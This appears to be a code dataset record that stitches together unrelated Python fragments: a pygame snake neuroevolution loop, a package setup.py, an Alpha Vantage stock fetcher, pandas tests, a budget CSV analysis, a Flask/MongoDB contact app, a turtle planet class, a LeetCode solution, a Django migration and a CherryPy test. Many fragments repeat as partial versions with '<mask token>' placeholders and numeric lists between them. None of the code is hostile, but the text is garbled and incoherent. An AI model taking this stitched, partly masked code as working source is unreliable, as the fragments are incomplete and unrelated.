pygame.draw.rect(self._display_surf, (0, 200, 0), block)
# Draw sanke and fruit
self.fruit.draw(self._display_surf)
self.snake.draw(self._display_surf)
pygame.display.set_caption("Gen: " + str(generation) + " Model: " + str(model_num) + " Score: " + str(self.snake.score) + " Tick " + str(self.frames))
pygame.display.update()
def on_cleanup(self):
pygame.quit()
sys.exit()
def on_execute(self, i):
if self.on_init() == False:
self._running = False
while (self._running):
for event in pygame.event.get():
self.on_event(event)
self.snake.direction = predict_direction(self.snake, self.fruit, i)
# Checks if game is paused
if self.pause is False:
self.on_loop(i)
self.on_render(i)
self.clock.tick(self.frames)
# Reset when snake dies
if self.snake.alive == False or self.moves == MAX_MOVES:
print(int(self.snake.score))
self.snake.reset()
self.fruit.random_generate()
self.moves = 0
# Print fitness
print(fitness[i])
break
# Clean up and print score
# self.on_cleanup()
print(int(self.snake.score))
if __name__ == "__main__" :
# Init models
for i in range(total_models):
model = create_model()
current_pool.append(model)
fitness.append(-100)
score.append(0)
if load == 1:
for i in range(total_models):
current_pool[i].load_weights(load_location + str(i) + ".keras")
theApp = App()
while True:
# Reset fitness scores and player scores
for i in range(total_models):
fitness[i] = 0
score[i] = 0
# Play game for each model
for i in range(total_models):
theApp.on_execute(i)
# Print high score to screen
print("Higest score: " + str(max(score)) + " Model: " + str(score.index(max(score))) + " Gen: " + str(generation))
# Write these values to a file
# fi = open("results.txt", "a+")
# fi.write("Higest score: " + str(max(score)) + " Model: " + str(score.index(max(score))) + " Gen: " + str(generation) + "\r\n")
# fi.close()
# Save pool
if save == 1:
save_pool()
genetic_updates() | [
12,
14,
15,
17,
21
] |
9,970 | e0f7837731520ad76ca91d78c20327d1d9bb6d4f | <mask token>
| <mask token>
with open(os_join(here, 'README.md')) as f:
README = f.read()
setup(name='pyzohar', version='0.1.11', author='zoharslong', author_email=
'[email protected]', description=
'a private package on data pre-processing.', long_description=README,
url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[
'Development Status :: 3 - Alpha', 'Intended Audience :: Developers',
'Topic :: Software Development :: Build Tools',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9'], packages=find_packages(),
keywords='data pre-processing', python_requires='>=3', install_requires
=['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3',
'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3',
'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']},
include_package_data=True)
| <mask token>
here = os_abspath(os_dirname(__file__))
with open(os_join(here, 'README.md')) as f:
README = f.read()
setup(name='pyzohar', version='0.1.11', author='zoharslong', author_email=
'[email protected]', description=
'a private package on data pre-processing.', long_description=README,
url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[
'Development Status :: 3 - Alpha', 'Intended Audience :: Developers',
'Topic :: Software Development :: Build Tools',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9'], packages=find_packages(),
keywords='data pre-processing', python_requires='>=3', install_requires
=['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3',
'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3',
'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']},
include_package_data=True)
| <mask token>
from setuptools import setup, find_packages
from os.path import join as os_join, abspath as os_abspath, dirname as os_dirname
here = os_abspath(os_dirname(__file__))
with open(os_join(here, 'README.md')) as f:
README = f.read()
setup(name='pyzohar', version='0.1.11', author='zoharslong', author_email=
'[email protected]', description=
'a private package on data pre-processing.', long_description=README,
url='https://www.xzzsmeadow.com/', license='MIT', classifiers=[
'Development Status :: 3 - Alpha', 'Intended Audience :: Developers',
'Topic :: Software Development :: Build Tools',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9'], packages=find_packages(),
keywords='data pre-processing', python_requires='>=3', install_requires
=['numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3',
'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3',
'urllib3>=1.25.8'], package_data={'pyzohar': ['samples/*.*']},
include_package_data=True)
| #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Created on 2021.03.18
setup for package.
@author: zoharslong
"""
from setuptools import setup, find_packages
from os.path import join as os_join, abspath as os_abspath, dirname as os_dirname
here = os_abspath(os_dirname(__file__))
with open(os_join(here, 'README.md')) as f:
README = f.read()
setup(
name="pyzohar",
version="0.1.11",
author="zoharslong",
author_email="[email protected]",
description="a private package on data pre-processing.",
long_description=README,
url="https://www.xzzsmeadow.com/",
license="MIT",
classifiers=[
'Development Status :: 3 - Alpha', # {3:Alpha, 4:Beta, 5:Production/Stable}
'Intended Audience :: Developers',
'Topic :: Software Development :: Build Tools',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'Programming Language :: Python :: 3.9',
],
packages=find_packages(),
keywords='data pre-processing',
python_requires='>=3',
install_requires=[
'numpy>=1.18.1',
'pandas>=1.0.1',
'pymongo>=3.9.0',
'pymysql>=0.9.3',
'fake-useragent>=0.1.11',
'requests>=2.22.0',
'openpyxl>=3.0.3', # excel files resolving
'urllib3>=1.25.8', # some error type of http requests
# 'matplotlib>=3.1.3', # for sub_slt_mdl.mdz
# 'sklearn>=0.22.1', # for sub_slt_mdl.mdz
# 'seaborn>=0.10.0', # for sub_slt_mdl.mdz
# 'factor_analyzer>=0.3.2', # for sub_slt_mdl.mdz
# 'joblib>=0.14.1', # for sub_slt_mdl.mdz
# 'python-pptx>=0.6.19', # for sub_slt_ppt.ppz
],
package_data={'pyzohar': ['samples/*.*']},
include_package_data=True,
)
| [
0,
1,
2,
3,
4
] |
9,971 | 3c8e6a93c4d5616b9199cf473d298bfa2dc191af | <mask token>
| <mask token>
def grab_a_ticker(symbol='MSFT', apiKey=None):
if apiKey is None:
apiKey = os.environ.get('API_KEY')
if not check_ticker_exists(symbol) and not check_blacklisted(symbol):
requestUrl = (
'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}'
)
metaDataUrl = (
'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}'
)
data = get_data(requestUrl.format(symbol, apiKey))
metaData = get_data(metaDataUrl.format(symbol, apiKey))
df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')).
transpose()['4. close']).reset_index()
df.columns = ['Date', 'Price']
df['Symbol'] = data['Meta Data']['2. Symbol']
if len(metaData['bestMatches']) > 0:
met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[
'1. symbol', '2. name', '3. type', '4. region']].reset_index(
).drop(['index'], axis=1)
met_df.columns = ['Symbol', 'Name', 'Type', 'Region']
else:
print(metaData.keys())
met_df = pd.DataFrame()
try:
assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol
df.to_sql('time_series', con=get_db(), if_exists='append',
index=False)
met_df.to_sql('stock_meta_data', con=get_db(), if_exists=
'append', index=False)
except AssertionError as e:
print("'Couldn't get it right with assertion error: {}".format(
str(e)))
update_blacklisted(symbol)
except Exception as e:
print(str(e))
update_blacklisted(symbol)
else:
print('Symbol {} already exists.'.format(symbol))
| <mask token>
def get_data(url, delay=20):
while True:
df = json.loads(urllib.request.urlopen(url).read())
if df.get('Note', 0) == 0:
break
time.sleep(20)
return df
def grab_a_ticker(symbol='MSFT', apiKey=None):
if apiKey is None:
apiKey = os.environ.get('API_KEY')
if not check_ticker_exists(symbol) and not check_blacklisted(symbol):
requestUrl = (
'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}'
)
metaDataUrl = (
'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}'
)
data = get_data(requestUrl.format(symbol, apiKey))
metaData = get_data(metaDataUrl.format(symbol, apiKey))
df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')).
transpose()['4. close']).reset_index()
df.columns = ['Date', 'Price']
df['Symbol'] = data['Meta Data']['2. Symbol']
if len(metaData['bestMatches']) > 0:
met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[
'1. symbol', '2. name', '3. type', '4. region']].reset_index(
).drop(['index'], axis=1)
met_df.columns = ['Symbol', 'Name', 'Type', 'Region']
else:
print(metaData.keys())
met_df = pd.DataFrame()
try:
assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol
df.to_sql('time_series', con=get_db(), if_exists='append',
index=False)
met_df.to_sql('stock_meta_data', con=get_db(), if_exists=
'append', index=False)
except AssertionError as e:
print("'Couldn't get it right with assertion error: {}".format(
str(e)))
update_blacklisted(symbol)
except Exception as e:
print(str(e))
update_blacklisted(symbol)
else:
print('Symbol {} already exists.'.format(symbol))
| import json
import os
import time
import urllib.request
import pandas as pd
from lib.db.dbutils import check_blacklisted, check_ticker_exists, get_db, update_blacklisted
def get_data(url, delay=20):
while True:
df = json.loads(urllib.request.urlopen(url).read())
if df.get('Note', 0) == 0:
break
time.sleep(20)
return df
def grab_a_ticker(symbol='MSFT', apiKey=None):
if apiKey is None:
apiKey = os.environ.get('API_KEY')
if not check_ticker_exists(symbol) and not check_blacklisted(symbol):
requestUrl = (
'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}'
)
metaDataUrl = (
'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}'
)
data = get_data(requestUrl.format(symbol, apiKey))
metaData = get_data(metaDataUrl.format(symbol, apiKey))
df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')).
transpose()['4. close']).reset_index()
df.columns = ['Date', 'Price']
df['Symbol'] = data['Meta Data']['2. Symbol']
if len(metaData['bestMatches']) > 0:
met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[
'1. symbol', '2. name', '3. type', '4. region']].reset_index(
).drop(['index'], axis=1)
met_df.columns = ['Symbol', 'Name', 'Type', 'Region']
else:
print(metaData.keys())
met_df = pd.DataFrame()
try:
assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol
df.to_sql('time_series', con=get_db(), if_exists='append',
index=False)
met_df.to_sql('stock_meta_data', con=get_db(), if_exists=
'append', index=False)
except AssertionError as e:
print("'Couldn't get it right with assertion error: {}".format(
str(e)))
update_blacklisted(symbol)
except Exception as e:
print(str(e))
update_blacklisted(symbol)
else:
print('Symbol {} already exists.'.format(symbol))
| import json
import os
import time
import urllib.request
import pandas as pd
from lib.db.dbutils import (
check_blacklisted,
check_ticker_exists,
get_db,
update_blacklisted,
)
def get_data(url, delay=20):
while True:
df = json.loads(urllib.request.urlopen(url).read())
if df.get("Note", 0) == 0:
break
time.sleep(20)
return df
def grab_a_ticker(symbol="MSFT", apiKey=None):
if apiKey is None:
apiKey = os.environ.get("API_KEY")
# Check if ticker already exists in the database
if not check_ticker_exists(symbol) and not check_blacklisted(symbol):
requestUrl = r"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}"
metaDataUrl = r"https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}"
data = get_data(requestUrl.format(symbol, apiKey))
metaData = get_data(metaDataUrl.format(symbol, apiKey))
df = pd.DataFrame(
pd.DataFrame(data.get("Time Series (Daily)")).transpose()[
"4. close"
]
).reset_index()
df.columns = ["Date", "Price"]
df["Symbol"] = data["Meta Data"]["2. Symbol"]
if len(metaData["bestMatches"]) > 0:
met_df = (
pd.DataFrame(metaData["bestMatches"][0], index=[0])[
["1. symbol", "2. name", "3. type", "4. region"]
]
.reset_index()
.drop(["index"], axis=1)
)
met_df.columns = ["Symbol", "Name", "Type", "Region"]
else:
print(metaData.keys())
met_df = pd.DataFrame()
try:
assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol
df.to_sql(
"time_series", con=get_db(), if_exists="append", index=False
)
met_df.to_sql(
"stock_meta_data",
con=get_db(),
if_exists="append",
index=False,
)
except AssertionError as e:
print(
"'Couldn't get it right with assertion error: {}".format(
str(e)
)
)
update_blacklisted(symbol)
except Exception as e:
print(str(e))
update_blacklisted(symbol)
else:
print("Symbol {} already exists.".format(symbol))
| [
0,
1,
2,
3,
4
] |
9,972 | 13b2fea09f5a4300563dd8870fe1841b47756b36 | <mask token>
| <mask token>
def test_astype_invalid_nas_to_tdt64_raises():
idx = Index([NaT.asm8] * 2, dtype=object)
msg = 'Cannot cast Index to dtype timedelta64\\[ns\\]'
with pytest.raises(TypeError, match=msg):
idx.astype('m8[ns]')
| <mask token>
def test_astype_str_from_bytes():
idx = Index(['あ', b'a'], dtype='object')
result = idx.astype(str)
expected = Index(['あ', 'a'], dtype='object')
tm.assert_index_equal(result, expected)
def test_astype_invalid_nas_to_tdt64_raises():
idx = Index([NaT.asm8] * 2, dtype=object)
msg = 'Cannot cast Index to dtype timedelta64\\[ns\\]'
with pytest.raises(TypeError, match=msg):
idx.astype('m8[ns]')
| import pytest
from pandas import Index, NaT
import pandas._testing as tm
def test_astype_str_from_bytes():
idx = Index(['あ', b'a'], dtype='object')
result = idx.astype(str)
expected = Index(['あ', 'a'], dtype='object')
tm.assert_index_equal(result, expected)
def test_astype_invalid_nas_to_tdt64_raises():
idx = Index([NaT.asm8] * 2, dtype=object)
msg = 'Cannot cast Index to dtype timedelta64\\[ns\\]'
with pytest.raises(TypeError, match=msg):
idx.astype('m8[ns]')
| import pytest
from pandas import (
Index,
NaT,
)
import pandas._testing as tm
def test_astype_str_from_bytes():
# https://github.com/pandas-dev/pandas/issues/38607
idx = Index(["あ", b"a"], dtype="object")
result = idx.astype(str)
expected = Index(["あ", "a"], dtype="object")
tm.assert_index_equal(result, expected)
def test_astype_invalid_nas_to_tdt64_raises():
# GH#45722 don't cast np.datetime64 NaTs to timedelta64 NaT
idx = Index([NaT.asm8] * 2, dtype=object)
msg = r"Cannot cast Index to dtype timedelta64\[ns\]"
with pytest.raises(TypeError, match=msg):
idx.astype("m8[ns]")
| [
0,
1,
2,
3,
4
] |
9,973 | 1ad694c68ef264c6fbba4f4b9c069f22818d2816 | <mask token>
| <mask token>
output.write("""{}
{}
{}
{}
{}
{}
{}
""".format(line1, line2, line3, line4,
line5, line6, line7))
| <mask token>
bank_data = 'Resources/budget_data.csv'
bank_df = pd.read_csv(bank_data)
total_months = bank_df['Date'].count()
net_end = bank_df['Profit/Losses'].sum()
bank_df['Change'] = bank_df['Profit/Losses'].diff()
average_change = bank_df['Change'].mean()
greatest_increase = bank_df['Change'].max()
greatest_increase_month = bank_df.loc[bank_df['Change'] == greatest_increase, :
]
greatest_decrease = bank_df['Change'].min()
greatest_decrease_month = bank_df.loc[bank_df['Change'] == greatest_decrease, :
]
financial_analysis = print('Financial Analysis'), print(
'----------------------------'), print(f'Total Months: {total_months}'
), print(f'Total: {net_end}'), print(
f'Average Change: ${round(average_change)}'), print(
f'Greatest Increase in Profits:'), print(str(greatest_increase_month)
), print(f'Greatest Decrease in Profits:'), print(greatest_decrease_month)
output = open('output.txt', 'w')
line1 = 'Financial Analysis'
line2 = '---------------------'
line3 = str(f'Total Months: {total_months}')
line4 = str(f'Total: {net_end}')
line5 = str(f'Average Change: ${average_change}')
line6 = str(f'Greatest Increase in Profits: {greatest_increase_month}')
line7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}')
output.write("""{}
{}
{}
{}
{}
{}
{}
""".format(line1, line2, line3, line4,
line5, line6, line7))
| import pandas as pd
bank_data = 'Resources/budget_data.csv'
bank_df = pd.read_csv(bank_data)
total_months = bank_df['Date'].count()
net_end = bank_df['Profit/Losses'].sum()
bank_df['Change'] = bank_df['Profit/Losses'].diff()
average_change = bank_df['Change'].mean()
greatest_increase = bank_df['Change'].max()
greatest_increase_month = bank_df.loc[bank_df['Change'] == greatest_increase, :
]
greatest_decrease = bank_df['Change'].min()
greatest_decrease_month = bank_df.loc[bank_df['Change'] == greatest_decrease, :
]
financial_analysis = print('Financial Analysis'), print(
'----------------------------'), print(f'Total Months: {total_months}'
), print(f'Total: {net_end}'), print(
f'Average Change: ${round(average_change)}'), print(
f'Greatest Increase in Profits:'), print(str(greatest_increase_month)
), print(f'Greatest Decrease in Profits:'), print(greatest_decrease_month)
output = open('output.txt', 'w')
line1 = 'Financial Analysis'
line2 = '---------------------'
line3 = str(f'Total Months: {total_months}')
line4 = str(f'Total: {net_end}')
line5 = str(f'Average Change: ${average_change}')
line6 = str(f'Greatest Increase in Profits: {greatest_increase_month}')
line7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}')
output.write("""{}
{}
{}
{}
{}
{}
{}
""".format(line1, line2, line3, line4,
line5, line6, line7))
| # Dependencies
import pandas as pd
# Load in data file from resources
bank_data = "Resources/budget_data.csv"
# Read and display with pandas
bank_df = pd.read_csv(bank_data)
# Find the total number of months included in the dataset
total_months = bank_df["Date"].count()
# Find the total net amount of "Profit/Losses" over the entire period
net_end = bank_df["Profit/Losses"].sum()
# Create a new column that displays profit or loss between months
bank_df["Change"] = bank_df["Profit/Losses"].diff()
# Find the average change in "Profit/Losses" between months over the entire period
average_change = bank_df["Change"].mean()
# Find the greatest increase in profits (date and amount) over the entire period
greatest_increase = bank_df["Change"].max()
greatest_increase_month = bank_df.loc[bank_df["Change"] == greatest_increase, :]
# Find the greatest decrease in losses (date and amount) over the entire period
greatest_decrease = bank_df["Change"].min()
greatest_decrease_month = bank_df.loc[bank_df["Change"] == greatest_decrease, :]
# Print financial analysis
financial_analysis = (print("Financial Analysis"), print("----------------------------"),
print(f'Total Months: {total_months}'), print(f'Total: {net_end}'),
print(f'Average Change: ${round(average_change)}'),
print(f'Greatest Increase in Profits:'),
print(str(greatest_increase_month)),
print(f'Greatest Decrease in Profits:'),
print(greatest_decrease_month))
# Export to .txt
output = open("output.txt", "w")
line1 = "Financial Analysis"
line2 = "---------------------"
line3 = str(f'Total Months: {total_months}')
line4 = str(f'Total: {net_end}')
line5 = str(f'Average Change: ${average_change}')
line6 = str(f'Greatest Increase in Profits: {greatest_increase_month}')
line7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}')
output.write('{}\n{}\n{}\n{}\n{}\n{}\n{}\n'.format(line1,line2,line3,line4,line5,line6,line7)) | [
0,
1,
2,
3,
4
] |
9,974 | 05ca16303d0eb962249793164ac91795c45cc3c2 | <mask token>
@app.route('/')
def showMachineList():
return render_template('list.html')
@app.route('/insert_records', methods=['POST'])
def insert_records():
json_data = request.json['info']
nome = json_data['nome']
email = json_data['email']
telefone = json_data['telefone']
db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}
)
return jsonify(status='OK', message='inserted successfully')
@app.route('/get_records', methods=['POST'])
def get_records():
contatos = db.catalogo.find()
return render_template('list.html', contatos=contatos)
<mask token>
| <mask token>
catalogo.insert_one(contato1)
catalogo.insert_one(contato2)
@app.route('/')
def showMachineList():
return render_template('list.html')
@app.route('/insert_records', methods=['POST'])
def insert_records():
json_data = request.json['info']
nome = json_data['nome']
email = json_data['email']
telefone = json_data['telefone']
db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}
)
return jsonify(status='OK', message='inserted successfully')
@app.route('/get_records', methods=['POST'])
def get_records():
contatos = db.catalogo.find()
return render_template('list.html', contatos=contatos)
if __name__ == '__main__':
app.run(debug=True)
| <mask token>
app = Flask(__name__)
conexao = MongoClient('localhost', 27017)
db = conexao['teste_db']
contato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone':
'11 99389-3244'}
contato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone':
'11 99333-3556'}
catalogo = db.catalogo
catalogo.insert_one(contato1)
catalogo.insert_one(contato2)
@app.route('/')
def showMachineList():
return render_template('list.html')
@app.route('/insert_records', methods=['POST'])
def insert_records():
json_data = request.json['info']
nome = json_data['nome']
email = json_data['email']
telefone = json_data['telefone']
db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}
)
return jsonify(status='OK', message='inserted successfully')
@app.route('/get_records', methods=['POST'])
def get_records():
contatos = db.catalogo.find()
return render_template('list.html', contatos=contatos)
if __name__ == '__main__':
app.run(debug=True)
| from flask import Flask, render_template, request, url_for, redirect, jsonify, json, request
from pymongo import MongoClient
app = Flask(__name__)
conexao = MongoClient('localhost', 27017)
db = conexao['teste_db']
contato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone':
'11 99389-3244'}
contato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone':
'11 99333-3556'}
catalogo = db.catalogo
catalogo.insert_one(contato1)
catalogo.insert_one(contato2)
@app.route('/')
def showMachineList():
return render_template('list.html')
@app.route('/insert_records', methods=['POST'])
def insert_records():
json_data = request.json['info']
nome = json_data['nome']
email = json_data['email']
telefone = json_data['telefone']
db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone}
)
return jsonify(status='OK', message='inserted successfully')
@app.route('/get_records', methods=['POST'])
def get_records():
contatos = db.catalogo.find()
return render_template('list.html', contatos=contatos)
if __name__ == '__main__':
app.run(debug=True)
| from flask import Flask, render_template, request, url_for, redirect,jsonify,json,request
from pymongo import MongoClient
#conexão bd
app = Flask(__name__)
conexao = MongoClient('localhost',27017)
db = conexao['teste_db']
#inserindo contatos iniciais
contato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone': '11 99389-3244'}
contato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone': '11 99333-3556'}
catalogo = db.catalogo
catalogo.insert_one(contato1)
catalogo.insert_one(contato2)
#página inicial
@app.route('/')
def showMachineList():
return render_template('list.html')
@app.route("/insert_records", methods=['POST'])
def insert_records():
json_data = request.json['info']
nome = json_data['nome']
email = json_data['email']
telefone = json_data['telefone']
db.catalogo.insert_one({
'nome':nome,'email':email,'telefone':telefone
})
return jsonify(status='OK',message='inserted successfully')
@app.route('/get_records',methods=['POST'])
def get_records():
contatos = db.catalogo.find()
return render_template('list.html',contatos=contatos)
if __name__ == "__main__":
app.run(debug=True) | [
3,
4,
5,
6,
7
] |
9,975 | 668b63d1f1bd035226e3e12bc6816abc897affc3 | <mask token>
class Planet:
def __init__(self, x, y, radius):
self.radius = radius
self.x = x
self.y = y
canvas = Screen()
canvas.setup(800, 800)
self.turtle = Turtle()
<mask token>
def scaleSize(self, scale):
self.radius = self.radius * scale
def draw(self, colour):
self.turtle.goto(self.x, self.y)
self.turtle.color(colour)
self.turtle.dot(self.radius)
<mask token>
| <mask token>
class Planet:
def __init__(self, x, y, radius):
self.radius = radius
self.x = x
self.y = y
canvas = Screen()
canvas.setup(800, 800)
self.turtle = Turtle()
def circumference(self):
return 2 * 3.1415 * self.radius
def scaleSize(self, scale):
self.radius = self.radius * scale
def draw(self, colour):
self.turtle.goto(self.x, self.y)
self.turtle.color(colour)
self.turtle.dot(self.radius)
<mask token>
| <mask token>
class Planet:
def __init__(self, x, y, radius):
self.radius = radius
self.x = x
self.y = y
canvas = Screen()
canvas.setup(800, 800)
self.turtle = Turtle()
def circumference(self):
return 2 * 3.1415 * self.radius
def scaleSize(self, scale):
self.radius = self.radius * scale
def draw(self, colour):
self.turtle.goto(self.x, self.y)
self.turtle.color(colour)
self.turtle.dot(self.radius)
planet1 = Planet(-200, -100, 200)
planet1.draw('red')
print('Circumference *check the maths!* is:', planet1.circumference())
planet1.scaleSize(0.5)
planet1.draw('yellow')
planet2 = Planet(300, 200, 100)
planet2.draw('black')
| from turtle import *
class Planet:
def __init__(self, x, y, radius):
self.radius = radius
self.x = x
self.y = y
canvas = Screen()
canvas.setup(800, 800)
self.turtle = Turtle()
def circumference(self):
return 2 * 3.1415 * self.radius
def scaleSize(self, scale):
self.radius = self.radius * scale
def draw(self, colour):
self.turtle.goto(self.x, self.y)
self.turtle.color(colour)
self.turtle.dot(self.radius)
planet1 = Planet(-200, -100, 200)
planet1.draw('red')
print('Circumference *check the maths!* is:', planet1.circumference())
planet1.scaleSize(0.5)
planet1.draw('yellow')
planet2 = Planet(300, 200, 100)
planet2.draw('black')
| # Planet Class
from turtle import *
class Planet:
def __init__(self, x, y, radius):
self.radius = radius
self.x = x
self.y = y
canvas = Screen()
canvas.setup(800, 800)
self.turtle = Turtle()
def circumference(self):
return 2*3.1415*self.radius
def scaleSize(self, scale):
self.radius = self.radius*scale
def draw(self, colour):
self.turtle.goto(self.x, self.y)
self.turtle.color(colour)
self.turtle.dot(self.radius)
#====instance of the class===
planet1 = Planet(-200, -100, 200)
planet1.draw('red')
print('Circumference *check the maths!* is:', planet1.circumference())
planet1.scaleSize(0.5)
planet1.draw('yellow')
planet2 = Planet(300, 200, 100)
planet2.draw('black')
| [
4,
5,
7,
8,
9
] |
9,976 | e4a2c605ef063eee46880515dfff05562916ab81 | <mask token>
| <mask token>
class Solution:
<mask token>
<mask token>
| <mask token>
class Solution:
def combine(self, n: int, k: int) ->List[List[int]]:
if k == 0:
return [[]]
ans = []
for i in range(k, n + 1):
for temp_ans in self.combine(i - 1, k - 1):
ans.append(temp_ans + [i])
return ans
<mask token>
| import sys
class Solution:
def combine(self, n: int, k: int) ->List[List[int]]:
if k == 0:
return [[]]
ans = []
for i in range(k, n + 1):
for temp_ans in self.combine(i - 1, k - 1):
ans.append(temp_ans + [i])
return ans
<mask token>
| # Problem No.: 77
# Solver: Jinmin Goh
# Date: 20191230
# URL: https://leetcode.com/problems/combinations/
import sys
class Solution:
def combine(self, n: int, k: int) -> List[List[int]]:
if k == 0:
return [[]]
ans = []
for i in range(k, n + 1) :
for temp_ans in self.combine(i - 1, k - 1):
ans.append(temp_ans + [i])
return ans
"""
# correct for 26/27 and TLE
class Solution:
def combine(self, n: int, k: int) -> List[List[int]]:
if k == 0:
return [[]]
if n < k:
return []
nList = [i + 1 for i in range(n)]
if n == k:
return [nList]
if n == k:
return [[i + 1] for i in range(n)]
self.ans = []
if n//2 > k:
self.makeFunc(nList[:], k, [])
else:
self.delFunc(n-k, nList)
return self.ans
def makeFunc(self, nList: list, k: int, temp_ans: list) -> None:
if k == 0:
temp_ans.sort()
if temp_ans not in self.ans:
self.ans.append(temp_ans)
return
else:
return
else:
for i in range(len(nList)):
temp = nList[:]
temp_temp_ans = temp_ans[:]
temp_temp_ans.append(nList[i])
temp.pop(i)
self.makeFunc(temp[:], k-1, temp_temp_ans[:])
def delFunc(self, k: int, temp_ans: list) -> None:
if k == 0:
temp_ans.sort()
if temp_ans not in self.ans:
self.ans.append(temp_ans)
return
else:
return
else:
for i in range(len(temp_ans)):
temp = temp_ans[:]
temp.pop(i)
self.delFunc(k-1, temp[:])
""" | [
0,
1,
2,
3,
4
] |
9,977 | d0a053faccecddc84a9556aec3dff691b171df96 | <mask token>
| <mask token>
class Migration(migrations.Migration):
<mask token>
<mask token>
| <mask token>
class Migration(migrations.Migration):
dependencies = [('event', '0009_auto_20211001_0406')]
operations = [migrations.AlterField(model_name='event', name='map',
field=django_resized.forms.ResizedImageField(blank=True, crop=None,
force_format='JPEG', help_text='Mapa del evento', keep_meta=True,
null=True, quality=90, size=[1920, 1080], upload_to=event.models.
event.event_pictures, verbose_name='Mapa')), migrations.AlterField(
model_name='eventagenda', name='map', field=django_resized.forms.
ResizedImageField(blank=True, crop=None, force_format='JPEG',
help_text='Mapa de la exposicion', keep_meta=True, null=True,
quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.
event_pictures, verbose_name='Mapa'))]
| from django.db import migrations
import django_resized.forms
import event.models.event
import event.models.event_agenda
class Migration(migrations.Migration):
dependencies = [('event', '0009_auto_20211001_0406')]
operations = [migrations.AlterField(model_name='event', name='map',
field=django_resized.forms.ResizedImageField(blank=True, crop=None,
force_format='JPEG', help_text='Mapa del evento', keep_meta=True,
null=True, quality=90, size=[1920, 1080], upload_to=event.models.
event.event_pictures, verbose_name='Mapa')), migrations.AlterField(
model_name='eventagenda', name='map', field=django_resized.forms.
ResizedImageField(blank=True, crop=None, force_format='JPEG',
help_text='Mapa de la exposicion', keep_meta=True, null=True,
quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.
event_pictures, verbose_name='Mapa'))]
| # Generated by Django 3.2.7 on 2021-10-01 06:43
from django.db import migrations
import django_resized.forms
import event.models.event
import event.models.event_agenda
class Migration(migrations.Migration):
dependencies = [
('event', '0009_auto_20211001_0406'),
]
operations = [
migrations.AlterField(
model_name='event',
name='map',
field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa del evento', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event.event_pictures, verbose_name='Mapa'),
),
migrations.AlterField(
model_name='eventagenda',
name='map',
field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa de la exposicion', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.event_pictures, verbose_name='Mapa'),
),
]
| [
0,
1,
2,
3,
4
] |
9,978 | 8a412231c13df1b364b6e2a27549730d06048186 | <mask token>
class FilterTests(helper.CPWebCase):
def testCPFilterList(self):
self.getPage('/cpfilterlist/')
self.assertBody('A horrorshow lomtick of cherry 3.14159')
self.getPage('/cpfilterlist/ended/1')
self.assertBody('True')
